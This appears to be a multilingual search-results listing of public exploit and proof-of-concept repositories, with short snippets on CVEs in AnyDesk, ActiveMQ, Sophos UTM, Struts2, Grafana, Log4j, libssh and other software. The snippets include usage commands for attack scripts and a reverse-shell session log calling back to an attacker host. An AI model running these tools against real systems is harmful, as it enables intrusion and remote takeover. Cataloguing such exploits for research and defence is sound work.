1308923 matches found
abdal-anydesk-remote-ip-detector
Уязвимость утечки IP AnyDesk CVE-2024-52940 🎤 Перевод README Английский Немецкий فارسی 📸 Скриншот 🎥 Видео Proof of Concept Чтобы увидеть уязвимость утечки IP AnyDesk в действии, вы можете скачать демонстрационные видео PoC ниже: 📥 Скачать Доказательство 01 📥 Скачать Доказательство 02 Рекомендуетс...
CVE-2016-3088
Apache ActiveMQ PUT RCE одним кликом getshell usage:python3 CVE-2016-3088.py -u https://tartget.com/...
sophucked
sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE...
CVE-2023-24100
CVE-2023-24100-Nuclei-Templates IoT RCE шаблоны nuclei CVE-2023-24100 CNVD-2023-24100...
apache-struts2-CVE-2017-5638
apache-struts2-CVE-2017-5638 Демонстрационное приложение и эксплойт Пример приложения Apache Struts2 Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 Ссылка на эксплойт: https://github.com/rapid7/metasploit-framework/issues/8064...
GrafanaDirectoryScanner
PoC для CVE-2021-43798 Grafana — это платформа с открытым исходным кодом для мониторинга и наблюдаемости. Версии Grafana от 8.0.0-beta1 до 8.3.0 за исключением исправленных версий уязвимы для обхода каталогов, позволяя доступ к локальным файлам. Уязвимый URL: /public/plugins//, где — это ID плаги...
CVE-2022-22954-POC
VMware-CVE-2022-22954-POC Заявление: Данный POC предназначен только для обучения, запрещены любые незаконные действия. В случае злонамеренного использования автор не несет ответственности!!! —、Сценарий массового сканирования: Использование: root@kitploit: python vm-2022-22954-POC.py url.txt...
Next.js Middleware Bypass
Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2. The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted 'x-middleware-subrequest' header, which can lead to authorization bypass and other securit...
Drupal - Remote Code Execution
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations. id: CVE-2018-7600 info: name: Drupal - Remote Code Execution author:...
mtk-su-reverse-cve-2020-0069
mtk-su просто мои заметки Таблица строк получить распакованную таблицу строк с помощью binwalk -Xe stringtabledump дамп из адреса в idb 0x1F098 сжатый размер: 1260 если вы хотите получить idb, откройте issue с вашей электронной почтой, и я отправлю его. это хорошая отправная точка, если вы хотите...
Ox4Shell
Ox4Shell Деобфусцируйте полезные нагрузки Log4Shell с лёгкостью. Описание С момента появления уязвимости Log4Shell CVE-2021-44228 было создано множество инструментов для обфускации полезных нагрузок Log4Shell, что превратило жизнь специалистов по безопасности в кошмар. Этот инструмент предназначе...
CVE-2014-4210-SSRF-PORTSCANNER-POC
CVE-2014-4210 SSRF PORTSCANNER PoC Автор: Aaron Mizrachi unmanarc [email protected] Twitter: https://twitter.com/unmanarc Лицензия: LGPLv3 Ответственность / Юридическое предупреждение Этот проект создан ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и ЭТИЧЕСКИХ ЦЕЛЕЙ тестирования. Использование исходного кода и...
CVE-2024-4367-PoC
CVE-2024-4367-PoC Этот Proof of Concept PoC демонстрирует эксплуатацию уязвимости CVE-2024-4367, связанной с атаками с использованием межсайтового скриптинга XSS. Возможности Этот PoC собирает и отображает следующие типы информации: 1. Общая информация: Домен Заголовок Текущий URL URL реферера...
LibSSH-Authentication-Bypass
LibSSH-Authentication-Bypass LibSSH 인증 우회 CVE-2018-10933 사용법: 이 스크립트를 사용하려면 다음을 입력하세요: python3 LibAuth.py –help 사용에 필요한 모든 옵션과 매개변수를 확인할 수 있습니다. 따라서 피해자의 IP 주소, 포트 번호, 마지막으로 피해자 시스템에서 실행하려는 명령을 지정해야 합니다. 최종 명령은 다음과 같습니다. python3 LibAuth.py –host 192.168.0.100 -p 22 -c “uname -a” 참고 자료:...
CVE-2023-35813
CVE-2023-35813 CVE-2023-35813용 익스플로잇 사용 예: go run CVE-2023-35813.go https://example.com 또는 go build CVE-2023-35813.go ./CVE-2023-35813 https://example.com 스크린샷:...
damn-vulnerable-log4j-app
SnapAttack: ресурсы по Log4j / CVE-2021-44228 / log4shell Что входит? Damn Vulnerable Log4j App damn-vulnerable-log4j-app содержит базовый уязвимый Java-сервлет, который логирует User Agent и параметры HTTP GET и POST с помощью log4j. Он упакован в виде .war-файла и может быть развёрнут на таких...
Mikrotik-router-hack
WinboxExploit Это доказательство концепции критической уязвимости WinBox CVE-2018-14847, которая позволяет произвольное чтение файлов с паролями в открытом виде. Уязвимость давно исправлена, поэтому этот проект завершён и больше не будет поддерживаться или обновляться. Вы можете форкнуть его и...
Rails-doubletap-RCE
Rails-doubletap-exploit RCE на Rails 5.2.2 с использованием обхода пути CVE-2019-5418 и десериализации объектов Ruby CVE-2019-5420 Технический анализ : CVE-2019-5418 - https://github.com/mpgn/CVE-2019-5418 CVE-2019-5420 - https://hackerone.com/reports/473888 Рекомендации по безопасности :...
log4j-poc
log4j-poc Эксплойт LDAP RCE для CVE-2021-44228 Log4Shell Описание Демонстрационный сервер Tomcat 8 на порту 8080 содержит уязвимое приложение log4shell, и сам сервер также уязвим к атакам через User-Agent. Удаленный эксплойт в этой демонстрации основан на том, что находится по адресу...